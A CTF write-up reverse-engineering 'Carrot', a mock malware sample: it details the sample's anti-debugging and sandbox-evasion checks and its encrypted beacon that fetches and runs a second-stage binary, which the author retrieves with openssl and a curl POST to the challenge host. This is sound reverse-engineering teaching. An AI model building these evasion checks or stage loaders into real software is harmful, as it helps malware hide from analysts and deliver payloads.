Carrot

MetaCTF February 2025 Flash CTF

CTF
reversing
radare2
ghidra
anti-debugging
Published

March 12, 2025

Introduction

This is my solution to the reversing challenge from the Meta Flash CTF of February 2025, titled “Carrot.”

Problem description:

Our threat intelligence has found a malware sample that seems heavily targeted at our competitor, MeatCTF. We tried to analyze it, but it just does nothing when we run it in a VM, can you help us analyze this?

Download the sample here and unzip with the password infected

The infected password suggests that it may be some malware, and the description that it may contain anti-debugging or vm-detection properties.

This was the perfect excuse to solve it statically and forget the whole Flash CTF.

First analysis

The binary is a stripped 64-bit ELF.

$ file carrot
carrot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fd82f7845645aea67dee789f5cac0de456e83108, for GNU/Linux 4.4.0, stripped

Running the command iz in radare, to get the strings of the binary, gives me very interesting clues that I will be unveiling when looking deeper.

The binary imports libcurl and libcrypto, and the imported functions also give more information about the capabilities of the malware.

[0x00002450]> il
libcurl.so.4
libcrypto.so.3
libc.so.6

Some interesting imported functions are ptrace or difftime, commonly used for anti-debugging, PEM_read_bio_RSA_PUBKEY and RSA_public_encrypt for encryption using a public key, EVP_aes_128_cbc, EVP_CIPHER_CTX_new, EVP_DecryptInit_ex or EVP_EncryptInit_ex for symmetric encryption and curl_global_init for comunication with an external (C2?) server using libcurl.

There are also different custom functions with moderate complexity, and I decided to use Ghidra to continue the analysis.

Lots of checks

The first thing when looking at the main function, is a long list of if-conditional statements. The functions and variables were renamed by me to help with the understanding.

The code contains various anti-debugging and vm-detection checks, along with conditions that are only satisfied under very specific configurations. If something is not right, it calls a function that reads the contents of /proc/cpuinfo and prints it in a very peculiar way.

Using the debugger, we would have to modify the result of every function to trick the execution and progress to the next part of the code. Or we can patch the binary.

After realizing this code only exists to complicate debugging during execution, I determined it wasn’t relevant to my static analysis and moved on.

However, I was wrong and eventually had to look at them later.

When writing this post, I decided to present the functions in a more organized way than the chaotic process of discovery I originally went through. This explanation is closer to the intended solution path rather than documenting my back-and-forth learning experience.

1. Ptrace

The first check is an anti-debugging classic method, using the syscall ptrace.

2. Time1

The second check is time-based. It caputes the current time, sleeps for 150 seconds and captures the time again. If the difftime is less than 149.95 or greater than 150.25, its an indicator of some debugging activity, and does not pass this check.

3. Time2

The third check is also related to time, but this time the function doesn’t sleep. It constantly checks the difftime inside a loop and only exits if the diff is greater than 150. The other logic is the same as before.

4, Hypervisor

This check reads the contents of /proc/cpuinfo and searches if the string hypervisor is present. This means the binary may be run from a virtual machine.

5. VM

This function is a bit more complex.

The first part loads some filepaths to the stack, but Ghidra’s decompilation is very weird. I find easier to directly read the assembly code.

It opens and reads each filepath (/sys/class/dmi/id/product_name, /sys/class/dmi/id/sys_vendor, /proc/scsi/scsi, /proc/ide/hd0/model, /proc/ide/hd1/model), searching for strings like “VMware”, “VirtualBox” or “QEMU” that indicate a virtual machine.

6. Connection

The sixth check uses the libcurl to make two different request to the urls https://metactf.com and https://e205e724dda896b5a70bb03b7aed1dba.metactf.com.

The curl library uses constants such as CURLOPT_URL and CURLOPT_FAILONERROR to configure options, which are defined in the source code (for example, in curl.h):

int main(void)
{
  CURL *curl = curl_easy_init();
  if(curl) {
    CURLcode res;
    curl_easy_setopt(curl, CURLOPT_URL, "https://example.com");
    res = curl_easy_perform(curl);
    curl_easy_cleanup(curl);
  }
}

The decompiled code from Ghidra doesn’t include those constants and looking for it in the source code is not easy.

I discovered that LLMs like ChatGPT or Claude excel at mapping these values back to their original constant names. With a few modifications and some variable renaming I finally got the following code that is very self explanatory:

curl_global_init(CURL_GLOBAL_ALL);
curl_session = curl_easy_init();
if (curl_session != NULL) {
    curl_easy_setopt(curl_session, CURLOPT_URL, "https://metactf.com");
    curl_easy_setopt(curl_session, CURLOPT_FAILONERROR, 1L);
    r = curl_easy_perform(curl_session);
    if (r == CURLE_OK) {
        curl_easy_getinfo(curl_session, CURLINFO_RESPONSE_CODE, &status_code);
        if (status_code == 200) {
            curl_easy_getinfo(curl_session, CURLINFO_SIZE_DOWNLOAD, &download_size);
            if (download_size != 0) {
                ret = true;
            }
        }
    }
    curl_easy_setopt(curl_session, CURLOPT_URL, "https://e205e724dda896b5a70bb03b7aed1dba.metactf.com");
    r = curl_easy_perform(curl_session);
    if (r == CURLE_OK) {
        curl_easy_getinfo(curl_session, CURLINFO_RESPONSE_CODE, &status_code);
        ret = ret && (status_code == 200);
    }
    curl_easy_cleanup(curl_session);
}
curl_global_cleanup();

The check only passes if making a request to https://metactf.com returns status code 200 and its content size is greater than zero. The request to the second URL with a large subdomain does not exist and it’s a detection for a fake internet setup like inetsim, often used in sandboxes.

7. IP

The next check gets the IP addresses of the host and verifies if some address in in the 10.13.37. subnet.

8. Process

The eighth check iterates through the running processes and reads the contents of /proc/%s/cmdline for each one. To pass the check, the programs “wireshark”, “pspy”, “gdb”, “strace”, and “ltrace” must not be running, but some process with “apache2” in the cmdline must be present.

9. User

This one is very simple, just ensures that the username is equal to meatctf.

10. LD_PRELOAD

This one is also easy, the LD_PRELOAD env variable must not be set. This environment variable is used to load shared libraries which may override functions of the binary to bypass some anti-debugging protections.

11. Fan

I’m a big fan of this check, didn’t know this technique.

12. Hostname

The final check is on the main function, and gets the hostname and compares with www.

Reversing “The Important Stuff”

After all the previous checks, here starts the important stuff.

Big picture

After analyzing and understanding the individual functions and rename them to descriptive names, the main function can be summarized on the next pseudocode:

if (checks() == 0) {
    info_json = generate_json()
    rsa_public_key = (RSA *)read_public_key();
    rand1_key = RAND_bytes(0x10);
    rand2_iv = RAND_bytes(0x10);
    aes_encrypted = aes_cbc_encrypt(info_json,strlen(info_json),rand1_key,rand2_iv,&aes_encrypted_size);
    rsa_encrypted = rsa_public_encrypt(rsa_public_key,rand1_key,&rsa_encrypted_size)
    register(aes_encrypted,aes_encrypted_size,rsa_encrypted,rsa_encrypted_size,rand2_iv,16,rand1_key,extraout_RAX);
}

First, it generates a json object with information from the machine. Then, it reads a hardcoded public rsa key and generates a key and an iv. Next, it encrypts the json data with aes cbc using the newly generated key and iv. This key is then encrypted using the hardcoded rsa public key. Finally, the function that I named “register” is called with all that information.

Generate json function

This function grabs information about the system and builds a json object. It uses functions similar to the ones used on the previous checks, so I had to review again the exact conditions to build the json with the required data.

{
    "ip_addresses": "%s",
    "hostname": "%s",
    "username": "%s",
    "processes": "%s",
    "fan_count": %d,
    "ld_preload_set": %d
}

Encryption functions

The encryption implementation (both rsa and aes) is standard and not critical to solving this challenge, so I’ll skip the details. It just encrypts data.

Register function

This function is quite large and complex, but can be divided in two very different parts.

Register - preparation

The first part prepares a curl session and prepares the data to be sent.

It uses the header Content-Type: application/octet-stream and puts the data in the allocated memory _ptr_data. The data is the IV, the key rsa-encrypted with the public key, and the aes encrypted json joined toghether. The order is important here.

Register - post request

The next part completes the parameters of the curl request. If the status_code response is ok, it decrypts the response data using the same aes key and iv, creates a temp file with the decrypted data, gives it execute permissions, and finally executes it in a new child process using the fork() function.

Fck, is there a second binary?

After all this looong static analysis, the short available time of the flash ctf has already been consumed, and I almost decided to go to sleep (European Time here).

But I decided to push a bit more and try to obtain the second binary to continue the challenge the next day, in case the ctf infrastrucure was not longer available.

Retrieving the next stage binary

At this point, we have all the knowledge needed; we just need to manually craft a curl request with the encrypted JSON and decrypt the received data.

The first thing to do is generate the json data. After some tests, I realized that the initial checks are in fact the answers for the json data. So I created a file (data.txt) with that information:

{"ip_addresses": "10.13.37.1", "hostname": "www", "username": "meatctf", "processes": "apache2", "fan_count": 2, "ld_preload_set": 0}

Then, we need to extract the public key from the binary.

Locate its position in r2 with the help of the command /cg to search for cryptographic material, find the correct size, and export with wtf:

[0x00002450]> /cg
0x000042c6 hit80_0 .om%dwww-----BEGIN PUBLIC KEY-----MIIBIjANBg.
[0x00002450]> px 0x1d0 @(0x000042c6-5)
- offset -  C1C2 C3C4 C5C6 C7C8 C9CA CBCC CDCE CFD0  123456789ABCDEF0
0x000042c1  2d2d 2d2d 2d42 4547 494e 2050 5542 4c49  -----BEGIN PUBLI
0x000042d1  4320 4b45 592d 2d2d 2d2d 0a4d 4949 4249  C KEY-----.MIIBI
0x000042e1  6a41 4e42 676b 7168 6b69 4739 7730 4241  jANBgkqhkiG9w0BA
...
0x00004451  7230 7668 6d62 3850 4647 437a 526a 5466  r0vhmb8PFGCzRjTf
0x00004461  0a57 5149 4441 5141 420a 2d2d 2d2d 2d45  .WQIDAQAB.-----E
0x00004471  4e44 2050 5542 4c49 4320 4b45 592d 2d2d  ND PUBLIC KEY---
0x00004481  2d2d 0a00 2000 0066 6666 6666 be62 4000  --.. ..fffff.b@.
[0x00002450]> wtf public_key.pem 0x1c3 @ 0x000042c1

I generated the random key and iv with openssl:

openssl rand -out aes.key 16
openssl rand -out aes.iv 16

For encrypting with aes, I used the following command with the newly created key and iv:

openssl enc -aes-128-cbc -in data.txt -out encrypted_data.bin -K $(xxd -p -c 32 aes.key) -iv $(xxd -p -c 32 aes.iv)

And for encrypting the AES key using the RSA public key:

openssl rsautl -encrypt -inkey public.pem -pubin -in aes.key -out aes.key.enc

Combine the files in the correct order:

cat aes.iv aes.key.enc encrypted_data.bin > combined_data.bin

The final curl request uses the option --data-binary to send the combined binary data.

curl -X POST \
  --url "https://e973351f665441a608f99ad8fa2cd797.statichosting-aws.com/register" \
  --data-binary @combined.bin \
  -H "Content-Type: application/octet-stream" \
  -o "response_encrypted_data.bin"

And finally, the last symmetric decryption is very similar to the encryption one:

openssl enc -d -aes-128-cbc -in response_encrypted_data.bin -out response_data.bin -K $(xxd -p -c 32 aes.key) -iv $(xxd -p -c 32 aes.iv)

And I ended up with another binary of just ~15K.

file response_data.bin
response_data.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8f425245bcbc30f554f67fc993fd957c491a2b06, for GNU/Linux 4.4.0, stripped

Second stage binary

At this point, it was very late and I should have already been sleeping, but I couldn’t resist taking a quick look at the binary.

Fortunately for me (and my sleep schedule), the binary was very small.

The second stage binary only prints the flag!

MetaCTF{y0u_g0t_7h3_meats}

I went to sleep happy (and late) and proud to solve the challenge without running the binary :)

the problem was that the competition ended like two hours ago ¯\(ツ)

maybe I should practice more my debugging skills and be a bit more competitive…

Back to top